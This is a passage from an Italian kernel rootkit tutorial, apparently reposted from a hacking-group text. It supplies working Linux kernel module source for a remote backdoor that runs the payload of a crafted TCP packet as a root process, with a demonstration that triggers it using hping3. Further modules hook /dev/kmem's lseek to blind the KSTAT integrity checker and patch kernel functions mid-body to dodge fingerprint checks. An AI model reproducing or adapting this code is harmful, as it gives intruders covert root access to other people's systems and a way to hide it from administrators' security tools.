Adesso che sappiamo dove e come intervenire per ricevere tutti i pacchetti e che non necessitiamo di mettere in ascolto alcunch? spostiamo la nostra attenzione sull'esecuzione. La nostra backdoor dovr? essere in grado di mandare in esecuzione un qualsiasi processo user space da kernel space. Ancora una volta il kernel ci viene in aiuto, fornendoci una funzione fatta apposta per questo, la call_usermodehelper.

    NAME

    call_usermodehelper - start a usermode application

    SYNOPSIS

    int call_usermodehelper (char * path, char ** argv, char ** envp, int wait);

    ARGUMENTS
 
    path

    pathname for the application

    argv

    null-terminated argument list

    envp

    null-terminated environment list

    wait

    wait for the application to finish and return status.

    DESCRIPTION

    Runs a user-space application. The application is started asynchronously if wait is not set, and runs as a child
    of keventd. (ie. it runs with full root capabilities). Must be called from process context. Returns a negative
    error code if program was not execed successfully, or 0.
Come potete vedere ? estremamente semplice da usare, come una comunissima execve, tuttavia nella descrizione c'? una cosa che non ci fa proprio comodo: "Must be called from process context". A grandi linee la call_usermodehelper funziona in questo modo:

- crea un thread separato

- il thread esegue una execve

Se la eseguissimo in interrupt context, current non sarebbe consistente, di conseguenza non potremmo ne forkare
[ovvero creare il thread] ne lanciare la execve senza crashare miseramente. Come potete immaginare, l'arrivo
di un pacchetto non ? sempre 'relativo' ad un process context, anzi, se il NAPI non ? abilitato ? proprio in
interrupt context, perci? non possiamo richiamarla direttamente,bisogna trovare un altro modo.
Ancora una volta il kernel ci viene in aiuto, fornendoci uno strumento potentissimo, le work queues.(task queues nei 2.4)
Le 'code di lavori' sono delle code nelle quali il kernel inserisce delle funzioni che devono essere svolte
piu in la nel tempo, ad un intervallo definito o non definito, ma la cosa piu importante ? che quando un
work viene mandato in esecuzione il kernel ci garantisce che sia in process context. Detto in maniera un po' piu
formale le work queues permettono l'esecuzione delayata di jobs ad opera di un kthread (events) garantendo load
balancing tra cpu logiche/fisiche e l'esecuzione in process context. Pertanto baster?
che noi creiamo un work contenente una chiamata alla call_usermodehelper per far fare tutto il lavoro
sporco al kernel ~:)

 


- 8.4 R. K. E. REMOTE KERNEL EXECUTIONER


Ecco l'implementazione di quanto detto fin'ora:

 
   #define LINUX

   #ifdef CONFIG_MODVERSIONS

   #include <linux/modversions>

   #endif

   #include <linux/module.h>

   #include <linux/kernel.h>

   #include <linux/skbuff.h>

   #include <linux/netdevice.h>

   #include <linux/sched.h>

   #include <linux/in.h>

   #include <linux/ip.h>

   #include <linux/tcp.h>

   #include <linux/if_ether.h>

   #include <linux/mm.h>

   #include <linux/spinlock.h>

   #include <linux/workqueue.h>


   /* macro per accedere alle varie parti del pacchetto */


   #define S_ADDR(x)       x->nh.iph->saddr

   #define D_ADDR(x)       x->nh.iph->daddr

   #define PROTOCOL(x)     x->nh.iph->protocol

   #define TCP_SPORT(x)    ((struct tcphdr*)((unsigned long)x->nh.iph+(x->nh.iph->ihl*4)))->source

   #define TCP_DPORT(x)    ((struct tcphdr*)((unsigned long)x->nh.iph+(x->nh.iph->ihl*4)))->dest

   #define UDP_SPORT(x)    ((struct udphdr*)((unsigned long)x->nh.iph+(x->nh.iph->ihl*4)))->source

   #define UDP_DPORT(x)    ((struct udphdr*)((unsigned long)x->nh.iph+(x->nh.iph->ihl*4)))->dest


   /* dimensione del payload del pacchetto attivatore */


   unsigned short               size=0;


   /* ci dice se possiamo sovrascrivere i dati precedentemente salvati */


   unsigned short               overwrite=1;


   /* spinlock di protezione delle variabili globali. Non sarebbe strettamente indispensabile,

      ma cos? ? molto piu pulito

    */

   spinlock_t           startlock=SPIN_LOCK_UNLOCKED;


   /* interfaccia di ascolto */


   unsigned char                *listening_eth=NULL;


   /* struttura che useremo per impostare il nostro filtro su un'interfaccia */


   struct        packet_type    filtro;


   /* payload del pacchetto */


   unsigned char                payload[65536]={0};


   struct work_struct executioner;

   MODULE_PARM(listening_eth,"s");

   inline void despace(char *string,int size)

   {


          for(;*string&&size;size--,string++)

                   if((*string==' ')||(*string=='\n')||(*string=='\r'))

                           *string='\0';

   }


   void

   worker(void *data)

   {

      char    *argv[255]={0};

      char    *envp[255]={0};

      int     parsed_size=0,pos=0;

      char    *lptr;

      despace(payload,size);

      lptr=payload;

      while((parsed_size<size)&&(pos<255))

      {

            argv[pos]=(char*)kmalloc(strlen(lptr)+1,GFP_KERNEL);

            memcpy(argv[pos],lptr,strlen(lptr)+1);

            parsed_size+=strlen(lptr)+1;

            lptr+=strlen(lptr)+1;

            pos++;

      }

      size=0;

      spin_lock(&startlock);

      overwrite=1;

      spin_unlock(&startlock);

      call_usermodehelper(argv[0],argv,envp,1);

      for(pos=0;argv[pos];pos++)

      {

          kfree(argv[pos]);

          argv[pos]=NULL;

      }

   }


   int net_filter(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt)

   {

     struct tcphdr tcph={0};

     unsigned int  dataoff=0,datalen=0;

     if(PROTOCOL(skb)==IPPROTO_TCP)

     {

       if(TCP_SPORT(skb)==TCP_DPORT(skb))

       {

	  spin_lock(&startlock);

	  /* se non l'abbiamo ancora processato non possiamo sovrascrivere il payload

	   * del pacchetto precedente */

          if(!overwrite)

              goto error;

          memset(payload,'\0',sizeof(payload));

          if (skb_copy_bits(skb, skb->nh.iph->ihl*4, &tcph, sizeof(tcph)) != 0)

		          goto error;

          dataoff = skb->nh.iph->ihl*4 + tcph.doff*4;

          if (dataoff >= skb->len)

                      goto error;

          datalen = skb->len - dataoff;

          if(datalen<=0)

              goto error;

	  /* con la skb_copy_bits gestiamo il caso in cui il pacchetto sia frammentato */

          skb_copy_bits(skb,dataoff,payload,datalen);

	      size=datalen;

          overwrite=0;

          spin_unlock(&startlock);

	  /* dichiariamo ed inizializziamo il work */

          INIT_WORK(&executioner,worker,NULL);

	  /* mettiamolo sulla workqueue di default del kernel */

          schedule_work(&executioner);

       }

     }

     kfree_skb(skb);

     return 0;

     error:

         spin_unlock(&startlock);

         kfree_skb(skb);

         return 0;

   }


   int add_filter(char *name,int(*func)(struct sk_buff *, struct net_device *,struct packet_type *))

   {

       struct net_device *dev=dev_get_by_name(name);

       if(!dev)

          return -1;

       filtro.type=htons(ETH_P_ALL);

       filtro.dev=dev;

       filtro.func=func;

       dev_add_pack(&filtro);

       return 0;

   }

	
   int hijack(void)

   {

       if(!listening_eth)

           return -1;

       if(add_filter(listening_eth,net_filter)<0)

           return -1;

       return 0;

   }


   void restore(void)

   {

       dev_remove_pack(&filtro);

   }


   module_init(hijack);

   module_exit(restore);

Ecco fatto, non ci resta che provarlo.
Dalla nostra macchina:

Vortex:~# cat build
#!/bin/bash
KERNEL=/usr/src/linux-`uname -r`/
SRCS=`pwd`
make -C $KERNEL SUBDIRS=$SRCS modules
Vortex:~# cat Makefile
obj-m := reketr.o
Vortex:~# /bin/bash build
make: Entering directory `/usr/src/linux-2.6.9vortex'
CC [M] /root/reketr.o
Building modules, stage 2.
MODPOST
CC /root/reketr.mod.o
LD [M] /root/reketr.ko
make: Leaving directory `/usr/src/linux-2.6.9vortex'
Vortex:~# insmod reketr.ko listening_eth=ppp0
Vortex:~# cat /tmp/prova.c
    int main(int argc,char *argv[])
    {
     fprintf(fopen("/tmp/log","w"),"%s",argv[1]);
    }
Vortex:~#

Compiliamo il programma di prova in /tmp e poi da un'altra macchina facciamo:

angel@oneiros:~$ echo /tmp/prova ciao > /tmp/command
angel@oneiros:~$ cat /tmp/command | wc -c
16
root@oneiros:/home/angel# hping3 -c 1 -s 1 -p 1 -d 16 -E /tmp/command ip_di_vortex
HPING 82.52.2.8 (eth0 82.52.2.8): NO FLAGS are set, 40 headers + 16 data bytes
[main] memlockall(): Success
Warning: can't disable memory paging!
len=46 ip=82.52.2.8 ttl=56 DF id=3175 sport=1 flags=RA seq=0 win=0 rtt=142.6 ms
--- 82.52.2.8 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 142.6/142.6/142.6 ms
root@oneiros:/home/angel#

Controlliamo su Vortex:

Vortex:~# cat /tmp/log
ciaoVortex:~#

Il nostro programma ? stato eseguito correttamente ~:)


Note:

[1] Se volete un riassunto di come funzionerebbe senza NAPI attivo ed una trattazione piu
esauriente potete dare un occhio qui: http://www.spine-group.org/papers/stack/stack2.6.html
Non ? chiarissimo, ma dovrebbe servire allo scopo.

[2] Per una ricerca veloce all'interno dei sorgenti del kernel vi consiglio questo sito:
http://lxr.linux.no/ident?v=2.6.8.1

[3] Potete trovare una lista di qualche api del kernel su
http://kernelnewbies.org/documents/kdoc/kernel-api/linuxkernelapi.html
http://www.stillhq.com/linux/mandocs/2.6.0-test3/

 


- 9.1 VIRTUAL FILE SYSTEM

Il virtual file system e' un layer del kernel che si occupa di gestire
tutte le syscall legate ad un filesystem.
Il VFS consente di gestire gli accessi agli inode, astraendo dal tipo di
filesystem su cui l'inode risiede ed indipendentemente dal tipo di file, sia
esso socket, device, ascii od altro. Questo e' ottenuto mediante la creazione
di un modello comune di file rappresentato da una struct file nella quale, tra
le altre cose, vengono memorizzate dal kernel le informazioni riguardo alle
funzioni che devono essere utilizzate per lavorare col filesystem sul quale
il file in esame risiede.
Cio' fa si' che quando ad esempio noi compiamo una qualsiasi
operazione su un file utilizzando le syscall, il kernel individui automaticamente
quali sono le funzioni reali da chiamare, dandoci l'illusione che sia la syscall
"pura" a sobbarcarsi tutto il lavoro, lasciandoci cosi' una comoda interfaccia
per lavorare con qualsiasi tipo di filesystem.
Chiaramente noi non vedremo tutta la struttura del virtual file system di linux,
lo esamineremo solo quel tanto che basta per poterne abusare. [1]
In realt? abbiamo gia visto un esempio di modifica del VFS, ovvero quando abbiamo
parlato di proc, ma ora estenderemo questo discorso anche agli altri filesystems.
Ora dovremo andare ad intercettare le funzioni che il kernel
utilizza per lavorare con un file su un certo filesystem, e lo faremo andando a
modificare i puntatori a funzione che sono memorizzati all'interno della struct
file. 

- 9.2 COME BYPASSARE I SECURITY TOOL BASATI SULL'ANALISI DI FILES (KMEM)

Fino ad ora vi ho mostrato come attaccare un sistema nei modi piu' svariati, ma
ora vedremo un'applicazione di un hack al VFS per la nostra autodifesa: come
bypassare KSTAT. [2]
Mettiamo di aver creato un modulo che hijacka la sys_call_table, uno come quello
che vi ho mostrato in una delle sezioni precedenti, vediamo come nascondere questo
hijack agli occhi di KSTAT.
Innanzitutto guardiamo come lavora:

int check_sct()
{
int kd;
char sch_code[100], *buf;
kd=open(KMEM, O_RDONLY);
printf("\nLegal sys_call_table should be at 0x%x ...", SYS_CALL_TABLE);
kread(kd, sc_addr, sch_code, 100);
buf = (char *) memmem(sch_code, 100, "\xff\x14\x85", 3);
sct = *(unsigned *)(buf+3);
if(sct == SYS_CALL_TABLE) {
printf(" OK!\n");
close(kd);
return 0;
}
else {
printf(" WARNING! sys_call_table hijacked!\n\n");
printf("Checking sys_call_table array now at 0x%lx ...\n\n\n", sct);
close(kd);
return 1;
}
/* should not get here */
return 0;
}

Questa e' la funzione che controlla l'integrita' della funzione system_call, piuttosto semplice
come potete vedere: apre kmem, legge 100 bytes e poi effettua un banale parsing sul valore
della sys call table, esattamente come facciamo noi quando lo cerchiamo per modificarlo.
Se poi il valore cosi' trovato e quello hardcodato non corrispondono eccoci individuati.
Vediamo ora piu' in dettaglio la funzione kread:

int kread(int des, unsigned long addr, void *buf, int len)
{
int rlen;
if(lseek(des, (off_t)addr, SEEK_SET) == -1)
return -1;
if((rlen = read(des, buf, len)) != len)
return -1;
return rlen;
}

Questa e' semplicissima: si posiziona all'offset desiderato sul file descriptor
(ovvero equivalente a kmem nel nostro caso) legge la quantita' di dati desiderata e
poi ritorna. Sembrerebbe tutto solido...se non fosse per il fatto che kmem e' un file
e pertanto attraverso il VFS possiamo controllarne il comportamento.
Torniamo un attimo indietro alla struttura del VFS: la struct file contiene un campo
molto interessante chiamato f_op che e' un puntatore ad una struttura di tipo
file_operations. Vediamola:

struct file_operations {
struct module *owner;
/* Aggiorna la posizione nel file */
loff_t (*llseek) (struct file *, loff_t, int);
/* Legge size_t bytes a partire da loff_t, *l_off (che di solito rappresenta
la posizione all'interno del file) e' poi incrementato*/
ssize_t (*read) (struct file *, char *, size_t, loff_t *);
/* Come sopra, solo che scrive */
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
/* Ritorna la prossima directory-entry di una directory in void, filldir
contiene l'indirizzo di una funzione ausiliaria che viene utilizzata per
estrarre i campi da una directory-entry. Nel caso volessimo nascondere
dei files dovremmo modificare questo puntatore e crearci una filldir
ad hoc*/
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, struct dentry *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
};

Questa struttura memorizza i puntatori alle funzioni che vengono utilizzate per la "gestione" di un file...cosa che kmem e'.
Percio' potremmo, ad esempio, modificare il puntatore alla funzione di lseeking, facendo in modo che se venga richiesto un
lseek ad un certo indirizzo essa lo faccia ad un altro indirizzo. cosi' facendo la kread di kstat salterebbe totalmente
andando a leggere dove noi vogliamo, ovvero in un buffer appositamente creato per ingannarne il parsing :)

 

#define __KERNEL__
#define MODULE

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/file.h>

#define TARGET "/dev/kmem"
#define FORBIDD 0xc01079c8 /* Indirizzo di system_call */

MODULE_LICENSE("GPL");

typedef long long (*v_lseek) (struct file *, long long, int);
v_lseek o_lseek;

static unsigned char buffer[100]={0};

int patch_vfs(const char *name,v_lseek *orig,v_lseek new)
{
/* Accediamo alla struct file relativa a kmem */
struct file *file=filp_open(name,O_RDONLY,0);
if(!file)
return -1;
/* Salviamo il puntatore originario */
*orig=(v_lseek)file->f_op->llseek;
/* Sovrascriviamolo col nostro */
file->f_op->llseek=new;
/* "Chiudiamolo" pure, ormai il puntatore e' sovrascritto */
filp_close(file,0);
return 0;
}

int unpatch_vfs(const char *name,v_lseek orig)
{
struct file *file=filp_open(name,O_RDONLY,0);
if(!file)
return -1;
file->f_op->llseek=orig;
filp_close(file,0);
return 0;
}

long long my_lseek(struct file *target,long long offset,unsigned int origin)
{

if((unsigned long)offset==FORBIDD)
offset=(long long)&buffer;

return o_lseek(target,offset,origin);

}

int init_module(void)
{
/* Copia nel buffer i dati che kstat andra' leggere */
memcpy(buffer,(void*)FORBIDD,sizeof(buffer));
return patch_vfs(TARGET,&o_lseek,(v_lseek)my_lseek);
}

int cleanup_module(void)
{
return unpatch_vfs(TARGET,o_lseek);
}

 

 

Vortex:~# insmod lseeker.o
Vortex:~# ./kstat -s 0

Legal system_call handler should be at 0xc01079c8 ... OK!

Legal sys_call_table should be at 0xc03762f8 ... OK!

No System Call Address Modified


Vortex:~# insmod hijack.o /* E' il modulo presentato qualche sezione fa */
Vortex:~# su angel
angel@Vortex:/root$ dmesg
Hello world
Hello world
Hello world
Hello world
Hello world
Hello world
Hello world
angel@Vortex:/root$ exit
exit
Vortex:~# ./kstat -s 0

Legal system_call handler should be at 0xc01079c8 ... OK!

Legal sys_call_table should be at 0xc03762f8 ... OK!

No System Call Address Modified


Vortex:~# rmmod lseeker
Vortex:~# ./kstat -s 0

Legal system_call handler should be at 0xc01079c8 ... OK!

Legal sys_call_table should be at 0xc03762f8 ... WARNING! sys_call_table hijacked!

Checking sys_call_table array now at 0xda0a7c00 ...

sys_getresgid32 0xf9b4c0a0 WARNING! should be at 0xc012eeb0

Vortex:~# 

Perfetto :)
Ovviamente questo era solo un esempio, ma sulla sua falsa riga potete ingannare
qualsiasi tool che si basi su questo tipo di controlli, in modo estremamente
semplice.
Nel caso in cui pero' il controllo venga effettuato direttamente a kernel space
le cose non sono proprio cosi' semplici: poniamo il caso di dover hijackare una
funzione attraverso la tecnica del salto, ma ? presente un modulo del sysadmin
che ha un fingerprint dei primi bytes della funzione, percio' se li sovrascrivessimo
verremmo scoperti. Tralasciando soluzioni banali come la rimozione del modulo
"benigno", come potremmo fare?

1) Potremmo cercare all'interno della memoria del modulo benigno con un semplice pattern
matching il fingerprint della funzione da hijackare e modificarlo, ma nel caso venisse
cifrato in un qualsiasi modo diventerebbe estremamente laborioso questo tipo di approccio.

2) Potremmo hijackare un'altra funzione per ottenere il medesimo risultato, ma non sempre
? possibile.

3) Potremmo hijackare la funzione...dall'interno, in modo da non modificare nessuno dei
bytes controllati.


- 9.3 RIDIREZIONE DI UNA FUNZIONE DAL SUO INTERNO

Questa ? la variante della tecnica esposta nella sezione sulla redirezione di una qualsiasi
funzione. Come gia detto precedentemente, applicare questa variante necessita un notevole
studio, in quanto andare a modificare un codice nel mezzo puo' essere causa di non pochi
problemi dato che, ad esempio, non possiamo alterare in alcun modo i dati memorizzati se
non vogliamo alterarne il funzionamento. Inoltre, ovviamente, la struttura di un hook di
questo tipo dipende dalla sequenza delle istruzioni del codice che andiamo a modificare,
percio' necessita ogni volta di un aggiustamento ad hoc per funzionare.
La struttura ? abbastanza semplice:

1) Saltiamo dal mezzo di un altro codice ad una nostra funzione
2) Eseguiamo quello che dobbiamo
3) Risaltiamo nel codice originario per far continuare la sua esecuzione


1 - Per effettuare questo dobbiamo utilizzare la tecnica del salto vista in precedenza,
ma con un piccolo accorgimento: prima sovrascrivevamo i primi 7 bytes della funzione
selvaggiamente, ma adesso dobbiamo stare attenti a non rompere nessuna istruzione
del codice! Questo vuol dire che dobbiamo trovare uno spazio di ALMENO 7 bytes per
poter injectare il nostro codice, ma potrebbe benissimo darsi che si debba salvarne
piu' di 7. Vedremo meglio in seguito comunque.

2 - Non penso servano troppe spiegazioni per questo punto... :) Basta creare una funzione
del tipo void funzione(void) con all'interno il codice che ci interessa eseguire.

3 - Ecco la parte interessante. Non possiamo semplicemente far ritornare la nostra funzione,
ritorneremmo nel mezzo delle istruzioni sovrascritte senza avere eseguito parte del codice
del programma originario [ovvero i bytes sovrascritti dal nostro mov/jmp], dobbiamo percio'
eseguire quel codice e risaltare nel mezzo del programma all'indirizzo contenente le istruzioni
immediatamente seguenti a quelle cha abbiamo backuppato-eseguito. Non ? tutto per?, c'? ancora
una cosa che dobbiamo fare prima di far questo, ovvero ripristinare a mano lo stack frame.
All'inizio del preludio di una funzione troviamo questo codice:

Dump of assembler code for function main:
0x080487c0 <main+0>: push %ebp
0x080487c1 <main+1>: mov %esp,%ebp

Saltando via senza eseguire tutta la nostra funzione lo stack frame non verrebbe ripristinato,
perci? dovremo farlo manualmente attraverso l'istruzione "leave"


Vediamo un esempio, cosi' il tutto apparir? molto piu' semplice: ora hijackeremo la sys_newuname.
Innanzitutto ci serve un suo dump per vedere dove possiamo agganciarci:

Vortex:~# grep sys_newuname /usr/src/linux/System.map
c012f970 T sys_newuname
Vortex:~# ./xdump -f /dev/kmem -o 0xc012f970 -l 20 -d [3]
OFFSET: 0xc012f970
LENGTH: 0x00000014

0xc012f970: 83 EC 14 sub %esp, $0x14
0xc012f973: 89 5C 24 0C mov 0C(%esp), %ebx
0xc012f977: BB D4 91 37 C0 mov %ebx, $0xC03791D4
0xc012f97c: 89 D8 mov %eax, %ebx
0xc012f97e: 89 74 24 10 mov 10(%esp), %esi
0xc012f982: 31 F6 xor %esi, %esi
....
...
..
.

Come possiamo vedere, subito dopo i primi 7 bytes abbiamo due mov che formano un blocco di esattamente
7 bytes, percio' se ci mettessimo li non dovremmo memorizzare istruzioni extra. Se ad esempio fossero stati
solo 6 al posto di 7, avremmo dovuto includere nell'hook anche TUTTA l'istruzione seguente e cosi' via, fino 
ad avere uno spazio di 7 bytes.
Ora vediamo un'implementazione di quanto detto fin'ora:

 

#define __KERNEL__
#define MODULE
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>

#define CODESIZE 7
#define BACKUP_SIZE 7
/* Indirizzo da cui inizieremo a backuppare ed a sovrascrivere */
#define HOOKSTART 0xc012f977

MODULE_LICENSE("GPL");
/* \xbe\x90\x90\x90\x90\xff\xe6 ? una variante della tecnica del salto dove invece di eax usiamo
esi come registro. Ovviamente ? assolutamente equivalente, ho utilizzato un altro registro
perch? come possiamo vedere all'indirizzo 0xc012f97c del dump il registro eax ? utilizzato,
perci? non posiamo sovrascriverne il valore
*/
unsigned static char buffer[BACKUP_SIZE+CODESIZE]= "\x90\x90\x90\x90\x90\x90\x90"
"\xbe\x90\x90\x90\x90\xff\xe6";

unsigned static char jumpbuf[CODESIZE]= "\xbe\x90\x90\x90\x90\xff\xe6";

void chain(void)
{
printk("Hello world\n");
/* Ripristiniamo il precedente stack frame, eseguiamo i bytes backuppati e risaltiamo
nel codice originario
*/
asm volatile("leave;jmp buffer");
}


int init_module(void)
{
/* Memorizziamo il backup */
memcpy(buffer,(void*)HOOKSTART,BACKUP_SIZE);
/* Memorizziamo l'indirizzo di ritorno per poterci jumpare */
*(unsigned long *)&buffer[BACKUP_SIZE+1]=(unsigned long)HOOKSTART+BACKUP_SIZE;
/* Inseriamo l'indirizzo della nostra funzione*/
*(unsigned long*)&jumpbuf[1]=(unsigned long)chain;
/* Sovrascriviamo la funzione originaria */
memcpy((void*)HOOKSTART,jumpbuf,CODESIZE);
return 0;
}

void cleanup_module(void)
{

memcpy((void*)HOOKSTART,buffer,BACKUP_SIZE);

}

 



Vortex:~# insmod middlechain.o
Vortex:~# dmesg
Hello world
Vortex:~#

Hook perfettamente riuscito :-)
Sicuramente l'utilizzo di questo sistema diventa inutile nel momento in cui viene fatto
un fingerprint/hash della funzione per intero, ma ovviamente questo non ? l'unico modo
in cui questa puo' essere utilizzata :-)
Per i tool che procedono in quel modo [4] ci sono altri sistemi, alcuni anche se in modo
non esplicito ve li ho mostrati, altri no, ma questa ? una storia che non vi racconter?,
almeno per ora :-)


Note:

[1] Per una trattazione completa guardate Understanding Linux Kernel 2nd Edition
[2] http://www.s0ftpj.org/tools/kstat24_v1.1-2.tgz
[3] Ovviamente xdump ? un'utility scritta apposta, non vi sar? difficile crearne una vostra utilizzando le libdisasm
[4] Come "dilemma" ad esempio, che potete trovare su twiz.antifork.org


- 9.4 CONCLUSIONE

Questo e' quanto, vi ho illustrato quelle che a mio avviso sono le tecniche migliori per realizzare questo genere
di software, ma ora tocca a voi migliorarle, personalizzarle ed inventarne di nuove; avete gli strumenti per
fare [quasi] qualsiasi cosa adesso, magari aggiunger? altro piu' avanti, per ora voi dovete solo imparare ad usare
queste tecniche ricordandovi che niente e' occultabile al 100% o che un'accurata analisi non troverebbe: ovvero state in campana :)
Sperando che il mio lavoro vi sia piaciuto vi saluto, a presto, bye :)


- THANKS: All Antifork, #phrack.it guys


- BIBLIOGRAFIA

www.phrack.org
www.antifork.org
www.s0ftpj.org
spacewalker.dyns.be
www.google.com
suckit
adore-ng
Linux Device Drivers
Understanding Linux Kernel 2nd edition

转载于:https://www.cnblogs.com/cybertitan/archive/2012/07/31/2616529.html

内容总结

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来源：【匿名】